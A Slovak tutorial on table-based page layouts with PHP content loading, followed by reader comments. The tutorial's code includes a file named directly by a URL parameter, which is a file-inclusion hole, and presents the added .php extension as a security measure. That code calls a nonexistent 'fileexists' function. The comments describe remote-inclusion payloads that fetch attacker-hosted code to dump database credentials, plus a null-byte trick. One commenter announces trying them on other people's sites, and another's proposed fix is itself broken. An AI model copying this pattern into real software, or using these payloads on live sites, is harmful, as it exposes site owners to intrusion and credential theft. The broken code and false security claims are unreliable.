Vytvárame stránky cez tabuľky, načitávame obsah cez PHP

Tento článok Vám ukáže, ako jednoducho vytvoriť peknú stránku bez použitia framov, a tiež zapojíme PHP.

Vo všeobecnosti existujú 3 druhy layoutov. Layout je vlastne rozloženie stránky. Framy(rámce), Tabuľky, CSS. Keďže ste pravdepodobne luzer, stránky robíte cez framy. No hlavné nevýhody framov sú jasné: astaralé, nepatria k štandardom. Preto je načase zvážiť či nechcete vyskúšať niečo nové.

Tak najskôr si vyskúšame layout pomocou tabuliek. Je to pre Vás rozhodne jednoduchšie, je to aj dosť používané, ale nedá sa povedať, že by sa to považovalo za profesionálne. Ja napríklad robím layouty stále iba cez CSS. Ale pre Vás je to celkom vhodne. Neskôr sa možno naučíte aj niečo o CSS, ale na začiatok vyskúšame tabuľky..

Takže ak sa chcete do toho pustiť, dobré by bolo poznať html, pretože kódy tu písať nebudem, budem písať iba čo treba urobiť.

Poznámka: tabuľka bude mať širku 760 px, aby vyzerala dobre aj na menšom, aj na väčšom rozlíšení. Na záver si ju ešte vycentrujeme do stredu pomocou CSS.

Ako bude vyzerať Váš layout: hlavička, potom 2 stĺpce, jeden menu, druhý hlavná stránka a pätička. Takže si vytvoríme novú tabuľku o šírke 760 px, a výške 100%. Vložíme riadok(tr) a doňho bunku(td). K bunke pridajte parameter COLSPAN=2. Prečo? Lebo chceme aby táto jedna bunka v tomto riadku nahradila 2 bunky. Vysvetlím Vám to bližšie. Normálne by v každom riadku mali byť 2 bunky, ale my to tak chceme iba v strednom riadku, preto tu pridáme parameter COLSPAN, ktorý hovorí, že táto jedna bunka sa ma tváriť ako viac spojených buniek. Ak poznáte excel, aj tam je funkcia zlúčiť bunky. Táto horná bunka bude mať šírku 760 (px - ale to tam nepíšte).

Teraz ďalej: v druhom riadku vytvoríme 2 bunky, tá ktorá je menu dostane pevnú veľkosť, tá ostatná bude zvyšok, čiže *.

Posledný riadok bude mať šírku 760, a výšku akú chcete, napríklad 50.

Tým pádom je layout hotový, a ideme na PHP:
Do bunky, kde je obsah, vložíme značky : <? ?> - do nich budeme písať PHP kód.
Prvé čo od nášho PHPčka chceme aby prečítal údaj z url adresy.. Ten údaj vyzerá asi takto: .../index.php?load=about
load je názov premennej a about je obsah. Takýmto spôsobom budeme aj tvoriť odkazy. Teraz však späť k PHPčku.

<?php
$stranka
=$_GET["load"];
?>
v php, vsetko co je za //je komentar, takze ho php nespracuvava. ak vsak enterom prejdete do noveho riadku, potom sa to uz spracuvava.
co sme prave urobili: vlozili do premennej $stranka
hodnotu z url adresy pod premennou load.
<?php
if ($stranka=="") $stranka="home";
?>
ak je premenna prazdne, cize ak nie je definovana, tak nech sa natiahne nejaka predvolena stranka v tomto pripade stranka home.. ak vam
chybaju pripony, tie sa pridaju na hned.
<?php
$stranka
="./".$stranka.".php";
?>
prave sme pridali priponu .php. cize v adrese bude nazov bez pripony,
ktora sa bude automaticky pridavat. je to aj koli bezpecnosti.
<?php
if(!fileexists($stranka)) $stranka="404.php";
?>
ak subor neexistuje nacita sa stranka 404.php, musite ju mat vytvorenu a date tam nejaku chybovu hlasku
<?php
include($stranka);
?>
a teraz konecne najdolezitejsia cast, nacitanie stranky ulozenej v premennej
Ako vidíte, nie je to nič zložité.
Teraz si ukážeme ako tvoriť odkazy. Máte napríklad stránku kontakt.php. Keďže prípona sa pridáva automaticky, môžete ju odtrhnúť. Máte kontakt. Teraz vytvoríme odkaz nasledovným spôsobom ...href="index.php?load=kontakt"... Takže je to dúfam jasné. Index.php musí byť stránka s layoutom, ktorá obsahuje ten kód. Ak sa stránka volá index.php, môžete si to zjednodušiť takto: ...href="?load=kontakt"...

Takže to je zatiaľ všetko, prajem veľa riadkov kódu!

pozn. redakcie: komentare v priklade boli vynate z kodu, lebo rozbijali template stranky.

Komentáre

Voľby prehliadania komentárov

Vyberte si, ako chcete zobrazovať komentáre a kliknite na "Uložiť zmeny".
Obrázok používateľa %user

velmi, velmi pekny clanok,

velmi, velmi pekny clanok, avsak po precitani mi presli zimomiravky po chrbte.. nie som si uplne isty [bol by som rad, keby mi autor na moje dohady odpovedal]. Pred istym casom som sa dost vyrazne zaoberal vecami okolo XSS (cross site scripting), PHP script injection, SQL injection, atd atd.. Teraz co ma napadlo je.. predsa len, neda sa v clanku pouzity system naburat? Tak ako prve. Predstavme si, ze zadam do load nieco ako http://moja.stranka.sk/script . Dalej sa mi prida k tomuto .php teda to bude vyzerat ako http://moja.stranka.sk/script.php. Predpokladam vsak, ze funkcia fileexists vrati false takze o nic nejde. (moment.. naozaj vrati false? totiz ak by vratila true, sme v peknej kasi) dalej, argument pridania na koniec url ".php" nehra rolu (tiez si v tomto nie som 100% isty). Lebo mozem dat do load nieco ako napriklad toto: readme.txt%00 je to nullovy meta znak viac na googli. Ja aby som sa vsetkemu tomuto vyhol idem na istotu, takze ziadne take, ze by som daval relativne

<?php
include($stranka);
?>
ale vzdy absolutne
<?php
if($stranka="omne.php"){include("omne.php")};
?>
, alebo by sa to dalo urobit pridanim dakeho arrayu s menami povolenych suborov.. neviem.. neviem..

---
Kubuntu user

tento detail som si este

tento detail som si este nevismol.. naozaj by sa dalo urobit toto:

?id=http://mysite.com/hack.txt?

a vtom pripade by sa mi includeol subor hack.txt?.php co by asi nebolo velmi dobre. kazdopadne mam este jeden system, ktory mozno tiez niekedy popisem, a to ze stranky su ulozene v databaze a includuje sa napriklad ?id=34 potom sa vytiahne z db prisluchajuca stranka a jeto. problem je v tom ze vzdy ked sa vytvori nieco nove treba to supnut do db..

ale ak by niekto chcel includnut iba ako ?id=http://mysite.com/hack a spoliehat sa na to ze sa tam prida pripona .php tak to by neslo, lebo apache z jeho servera nepusti zdrojovy kod..

mimochodom tak jednoducho sa daju ziskat napriklad hesla do databaze, staci ak hack.txt obsahuje

<?php
show_source
("index.php");
?>
a sme v prdeli.. idem odskusat na niektorych strankach :)

no a prave ma napadlo ako sa tohoto problemu zbavit, jednoducho k include pridat ./ idem editovat clanok

Obrázok používateľa %user

:)))jj show_source poznam..

:)))
jj show_source poznam.. ale tak.. naozaj a by som mohol pokojne spavat.. lebo nikdy nevies co ti kto vymysli, s tvojimi scriptami (totiz akonahle si tam bude moct dat svoj kod tak vyhral..) tak pouzivam to co som napisal minule, ze absolutne includujem dokumenty..
a este jednu vec by som rad doplnil. Ked uz sa teraz rozhodnete includovat documenty relativne, tak dalsia vec, na ktorej si dajte zalezat je, aby vase scripty boli v .php suboroch. ano z nie to ssmiesne, ale stretol som sa s tym, ze clovek takto includoval .htm documenty, v ktorych sa po includovani php kod samozrejme spracoval, ale ked som si ten dokument otvoril sam tak bola fakt prca:P takze na to tiez pozor..
---
Kubuntu user

LOOOL ourclass.wz.cz

LOOOL ourclass.wz.cz

Voľby prehliadania komentárov

Vyberte si, ako chcete zobrazovať komentáre a kliknite na "Uložiť zmeny".